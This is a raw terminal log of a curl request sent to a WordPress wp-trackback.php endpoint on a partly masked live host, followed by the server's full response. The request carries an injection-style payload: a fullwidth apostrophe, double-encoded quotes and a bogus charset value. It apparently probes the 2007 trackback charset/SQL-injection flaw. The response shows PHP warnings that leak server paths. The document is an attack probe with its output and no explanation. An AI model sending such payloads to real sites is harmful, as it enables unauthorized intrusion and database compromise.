$ curl -ki -d "ID=4&url=%uFF07;r'\"ad%2527%2522l&charset=asfcii&title=2qwewerrd&excerpt=qweasd&blog_name=asd" "http://blogs.securi****.com/wp-trackback.php"
HTTP/1.1 200 OK
Date: Mon, 04 Jun 2007 19:00:24 GMT
Server: Apache/2.2.3 (Debian) PHP/5.2.0-8
X-Powered-By: PHP/5.2.0-8
X-Pingback: http://blogs.securi****.com/xmlrpc.php
Content-Length: 1040
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>:  mb_convert_encoding() [<a href='function.mb-convert-encoding'>function.mb-convert-encoding</a>]: Illegal character encoding specified in <b>/usr/share/wordpress/wp-trackback.php</b> on line <b>47</b><br />
<br />
<b>Warning</b>:  mb_convert_encoding() [<a href='function.mb-convert-encoding'>function.mb-convert-encoding</a>]: Illegal character encoding specified in <b>/usr/share/wordpress/wp-trackback.php</b> on line <b>48</b><br />
<br />
<b>Warning</b>:  mb_convert_encoding() [<a href='function.mb-convert-encoding'>function.mb-convert-encoding</a>]: Illegal character encoding specified in <b>/usr/share/wordpress/wp-trackback.php</b> on line <b>49</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /usr/share/wordpress/wp-trackback.php:47) in <b>/usr/share/wordpress/wp-trackback.php</b> on line <b>9</b><br />
<?xml version="1.0" encoding="utf-8"?>
<response>
<error>1</error>
<message>I really need an ID for this to work.</message>
</response>